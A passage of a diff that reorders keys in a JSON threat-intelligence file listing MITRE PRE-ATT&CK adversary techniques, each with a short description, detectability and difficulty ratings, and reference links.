+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1026"
]
},
- "uuid": "74a3288e-eee9-4f8e-973a-fbc128e033f1"
+ "uuid": "74a3288e-eee9-4f8e-973a-fbc128e033f1",
+ "value": "Conduct social engineering - PRE-T1026"
},
{
"description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Hard to differentiate from standard business operations.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost.",
- "value": "Acquire and/or use 3rd party infrastructure services - PRE-T1106",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1106"
- ],
"external_id": "PRE-T1106",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1106"
]
},
- "uuid": "795c1a92-3a26-453e-b99a-6a566aa94dc6"
+ "uuid": "795c1a92-3a26-453e-b99a-6a566aa94dc6",
+ "value": "Acquire and/or use 3rd party infrastructure services - PRE-T1106"
},
{
"description": "Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Detecting encryption is easy, decrypting/deobfuscating is hard.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various solutions exist for the adversary to use. This technique is commonly used to prevent attribution and evade detection.",
- "value": "Obfuscate or encrypt code - PRE-T1096",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1096"
- ],
"external_id": "PRE-T1096",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1096"
]
},
- "uuid": "357e137c-7589-4af1-895c-3fbad35ea4d2"
+ "uuid": "357e137c-7589-4af1-895c-3fbad35ea4d2",
+ "value": "Obfuscate or encrypt code - PRE-T1096"
},
{
"description": "Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No access to who is consuming the job postings to know what is being observed.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Job postings have to be made public for contractors and many times have the name of the organization being supported.",
- "value": "Analyze organizational skillsets and deficiencies - PRE-T1074",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1074"
- ],
"external_id": "PRE-T1074",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1074"
]
},
- "uuid": "96eb59d1-6c46-44bb-bfcd-56be02a00d41"
+ "uuid": "96eb59d1-6c46-44bb-bfcd-56be02a00d41",
+ "value": "Analyze organizational skillsets and deficiencies - PRE-T1074"
},
{
"description": "An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Developers could check a hash or signature of their development tools to ensure that they match expected values (e.g., Apple provides instructions of how to do so for its Xcode developer tool), but developers may not always do so.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The adversary would need to either replace the tools provided at the official download location or influence developers to download the tools from an adversary-controlled third-party download location. Desktop operating systems (e.g., Windows, macOS) are increasingly encouraging use of vendor-provided official app stores to distribute software, which utilize code signing and increase the difficulty of replacing development tools with malicious versions.",
- "value": "Distribute malicious software development tools - PRE-T1171",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1171"
- ],
"external_id": "PRE-T1171",
"kill_chain": [
"mitre-pre-attack:pre-attack:stage-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1171"
]
},
- "uuid": "d2c4206a-a431-4494-834d-52944a79e9f4"
+ "uuid": "d2c4206a-a431-4494-834d-52944a79e9f4",
+ "value": "Distribute malicious software development tools - PRE-T1171"
},
{
"description": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms",
- "value": "Acquire or compromise 3rd party signing certificates - PRE-T1109",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1109"
- ],
"external_id": "PRE-T1109",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1109"
]
},
- "uuid": "03f4a766-7a21-4b5e-9ccf-e0cf422ab983"
+ "uuid": "03f4a766-7a21-4b5e-9ccf-e0cf422ab983",
+ "value": "Acquire or compromise 3rd party signing certificates - PRE-T1109"
},
{
"description": "Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The only difference between an adversary conducting this technique and a typical user, is the adversary's intent - to target an individual for compromise.",
- "value": "Develop social network persona digital footprint - PRE-T1119",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1119"
- ],
"external_id": "PRE-T1119",
"kill_chain": [
"mitre-pre-attack:pre-attack:persona-development"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1119"
]
},
- "uuid": "271e6d40-e191-421a-8f87-a8102452c201"
+ "uuid": "271e6d40-e191-421a-8f87-a8102452c201",
+ "value": "Develop social network persona digital footprint - PRE-T1119"
},
{
"description": "A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information. However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires more planning, but feasible.",
- "value": "Use multiple DNS infrastructures - PRE-T1104",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1104"
- ],
"external_id": "PRE-T1104",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1104"
]
},
- "uuid": "616238cb-990b-4c71-8f50-d8b10ed8ce6b"
+ "uuid": "616238cb-990b-4c71-8f50-d8b10ed8ce6b",
+ "value": "Use multiple DNS infrastructures - PRE-T1104"
},
{
"description": "Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Open source software has great appeal mostly due to the time savings and that it is free. However, using this code without assessing it's security is akin to blindly executing third party software. Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google's Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits. It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages.",
- "value": "Identify vulnerabilities in third-party software libraries - PRE-T1166",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1166"
- ],
"external_id": "PRE-T1166",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1166"
]
},
- "uuid": "ad124f84-52d2-40e3-95dd-cfdd44eae6ef"
+ "uuid": "ad124f84-52d2-40e3-95dd-cfdd44eae6ef",
+ "value": "Identify vulnerabilities in third-party software libraries - PRE-T1166"
},
{
"description": "DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication. It has been used by APT12, but not otherwise widely reported. Some botnets are hardcoded to be able to use this technique.",
- "value": "DNSCalc - PRE-T1101",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1101"
- ],
"external_id": "PRE-T1101",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1101"
]
},
- "uuid": "7823039f-e2d5-4997-853c-ec983631206b"
+ "uuid": "7823039f-e2d5-4997-853c-ec983631206b",
+ "value": "DNSCalc - PRE-T1101"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nExternally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.",
- "value": "Compromise of externally facing system - PRE-T1165",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1165"
- ],
"external_id": "PRE-T1165",
"kill_chain": [
"mitre-pre-attack:pre-attack:compromise"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1165"
]
},
- "uuid": "4aeafdb3-eb0b-4e8e-b93f-95cd499088b4"
+ "uuid": "4aeafdb3-eb0b-4e8e-b93f-95cd499088b4",
+ "value": "Compromise of externally facing system - PRE-T1165"
},
{
"description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Difficult, if not impossible to detect, because the adversary may collect this information from external sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Supply chain diversity of sourcing increases adversary difficulty with accurate mapping. Industry practice has moved towards agile sourcing.",
- "value": "Identify supply chains - PRE-T1023",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1023"
- ],
"external_id": "PRE-T1023",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1023"
]
},
- "uuid": "78e41091-d10d-4001-b202-89612892b6ff"
+ "uuid": "78e41091-d10d-4001-b202-89612892b6ff",
+ "value": "Identify supply chains - PRE-T1023"
},
{
"description": "Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Strong physical security and monitoring will detect this behavior if performed on premises.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Not difficult if waste is placed in an unsecured or minimally secured area before collection.",
- "value": "Dumpster dive - PRE-T1063",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1063"
- ],
"external_id": "PRE-T1063",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1063"
]
},
- "uuid": "6c79d654-6506-4f33-b48f-c80babdcc52d"
+ "uuid": "6c79d654-6506-4f33-b48f-c80babdcc52d",
+ "value": "Dumpster dive - PRE-T1063"
},
{
"description": "For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Open access to DNS registration/routing information is inherent in Internet architecture.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proliferation of DNS information makes registration information functionally freely available.",
- "value": "Obtain domain/IP registration information - PRE-T1028",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1028"
- ],
"external_id": "PRE-T1028",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1028"
]
},
- "uuid": "46017368-6e09-412b-a29c-385be201cc03"
+ "uuid": "46017368-6e09-412b-a29c-385be201cc03",
+ "value": "Obtain domain/IP registration information - PRE-T1028"
},
{
"description": "Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires an intensive process. In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships.",
- "value": "Identify business relationships - PRE-T1060",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1060"
- ],
"external_id": "PRE-T1060",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1060"
]
},
- "uuid": "73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a"
+ "uuid": "73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a",
+ "value": "Identify business relationships - PRE-T1060"
},
{
"description": "Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Depends on service. Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc.",
- "value": "Anonymity services - PRE-T1083",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1083"
- ],
"external_id": "PRE-T1083",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1083"
]
},
- "uuid": "d3dca536-8bf0-4e43-97c1-44a2353c3d69"
+ "uuid": "d3dca536-8bf0-4e43-97c1-44a2353c3d69",
+ "value": "Anonymity services - PRE-T1083"
},
{
"description": "Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: C2 over commonly used and permitted protocols provides the necessary cover and access.",
- "value": "C2 protocol development - PRE-T1129",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1129"
- ],
"external_id": "PRE-T1129",
"kill_chain": [
"mitre-pre-attack:pre-attack:build-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1129"
]
},
- "uuid": "8e211ec9-5dfc-4915-aff4-84d5908f0336"
+ "uuid": "8e211ec9-5dfc-4915-aff4-84d5908f0336",
+ "value": "C2 protocol development - PRE-T1129"
},
{
"description": "For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([https://www.facebook.com Facebook], [https://www.linkedin.com LinkedIn], [https://twitter.com Twitter], [https://plus.google.com Google+], etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Performing activities like typical users, but with specific intent in mind.",
- "value": "Build social network persona - PRE-T1118",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1118"
- ],
"external_id": "PRE-T1118",
"kill_chain": [
"mitre-pre-attack:pre-attack:persona-development"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1118"
]
},
- "uuid": "9108e212-1c94-4f8d-be76-1aad9b4c86a4"
+ "uuid": "9108e212-1c94-4f8d-be76-1aad9b4c86a4",
+ "value": "Build social network persona - PRE-T1118"
},
{
"description": "Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Task requirements - PRE-T1017",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1017"
- ],
"external_id": "PRE-T1017",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-direction"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1017"
]
},
- "uuid": "b93bd611-da4e-4c84-a40f-325b712bed67"
+ "uuid": "b93bd611-da4e-4c84-a40f-325b712bed67",
+ "value": "Task requirements - PRE-T1017"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSpearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Depending on the specific method of phishing, the detections can vary. For emails, filtering based on DKIP+SPF or header analysis can help detect when the email sender is spoofed. When it comes to following links, network intrusion detection systems (NIDS), firewalls, removing links, exploding shortened links, proxy monitoring, blocking uncategorized sites, and site reputation based filtering can all provide detection opportunities.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending emails is trivial, and, over time, an adversary can refine their technique to minimize detection by making their emails seem legitimate in structure and content.",
- "value": "Spearphishing for Information - PRE-T1174",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1174"
- ],
"external_id": "PRE-T1174",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1174"
]
},
- "uuid": "b182f29c-2505-4b32-a000-0440ef189f59"
+ "uuid": "b182f29c-2505-4b32-a000-0440ef189f59",
+ "value": "Spearphishing for Information - PRE-T1174"
},
{
"description": "Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proliferation of DNS TLDs and registrars. Adversary may choose domains that are similar to legitimate domains (aka \"domain typosquatting\" or homoglyphs).",
- "value": "Buy domain name - PRE-T1105",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1105"
- ],
"external_id": "PRE-T1105",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1105"
]
},
- "uuid": "45242287-2964-4a3e-9373-159fad4d8195"
+ "uuid": "45242287-2964-4a3e-9373-159fad4d8195",
+ "value": "Buy domain name - PRE-T1105"
},
{
"description": "Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Physical observations, OSINT for remote access instructions, and other techniques are not detectable.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Determine if users work offsite, connect remotely, or other possibly less restricted/secured access techniques.",
- "value": "Identify technology usage patterns - PRE-T1041",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1041"
- ],
"external_id": "PRE-T1041",
"kill_chain": [
"mitre-pre-attack:pre-attack:technical-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1041"
]
},
- "uuid": "194bff4f-c218-40df-bea3-1ace715de8dd"
+ "uuid": "194bff4f-c218-40df-bea3-1ace715de8dd",
+ "value": "Identify technology usage patterns - PRE-T1041"
},
{
"description": "Business relationship information includes the associates of a target and may be discovered via social media sites such as [https://www.linkedin.com LinkedIn] or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender. Much of this information is widely known and difficult to obscure.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Made easier by today's current social media.",
- "value": "Identify business relationships - PRE-T1049",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1049"
- ],
"external_id": "PRE-T1049",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1049"
]
},
- "uuid": "5b6ce031-bb86-407a-9984-2b9700ac4549"
+ "uuid": "5b6ce031-bb86-407a-9984-2b9700ac4549",
+ "value": "Identify business relationships - PRE-T1049"
},
{
"description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nMany mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to \"identify attacks that require connection to a server and dynamic downloading of code\" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.",
- "value": "Runtime code download and execution - PRE-T1172",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1172"
- ],
"external_id": "PRE-T1172",
"kill_chain": [
"mitre-pre-attack:pre-attack:launch"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1172"
]
},
- "uuid": "41086474-e6de-4fac-bb69-640db7fdf3d2"
+ "uuid": "41086474-e6de-4fac-bb69-640db7fdf3d2",
+ "value": "Runtime code download and execution - PRE-T1172"
},
{
"description": "Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
- "value": "Assess current holdings, needs, and wants - PRE-T1013",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1013"
- ],
"external_id": "PRE-T1013",
"kill_chain": [
"mitre-pre-attack:pre-attack:priority-definition-planning"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1013"
]
},
- "uuid": "8e927b19-04a6-4aaa-a42f-4f0a53411d27"
+ "uuid": "8e927b19-04a6-4aaa-a42f-4f0a53411d27",
+ "value": "Assess current holdings, needs, and wants - PRE-T1013"
},
{
"description": "Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary may download templates or branding from publicly available presentations that the defender can't monitor.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials. An exhaustive list of templating and branding is likely not available on the internet.",
- "value": "Obtain templates/branding materials - PRE-T1058",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1058"
- ],
"external_id": "PRE-T1058",
"kill_chain": [
"mitre-pre-attack:pre-attack:organizational-information-gathering"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1058"
]
},
- "uuid": "68b45999-bb0c-4829-bbd0-75d6dac57c94"
+ "uuid": "68b45999-bb0c-4829-bbd0-75d6dac57c94",
+ "value": "Obtain templates/branding materials - PRE-T1058"
},
{
"description": "Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership.",
- "value": "Dynamic DNS - PRE-T1088",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1088"
- ],
"external_id": "PRE-T1088",
"kill_chain": [
"mitre-pre-attack:pre-attack:adversary-opsec"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1088"
]
},
- "uuid": "20a66013-8dab-4ca3-a67d-766c842c561c"
+ "uuid": "20a66013-8dab-4ca3-a67d-766c842c561c",
+ "value": "Dynamic DNS - PRE-T1088"
},
{
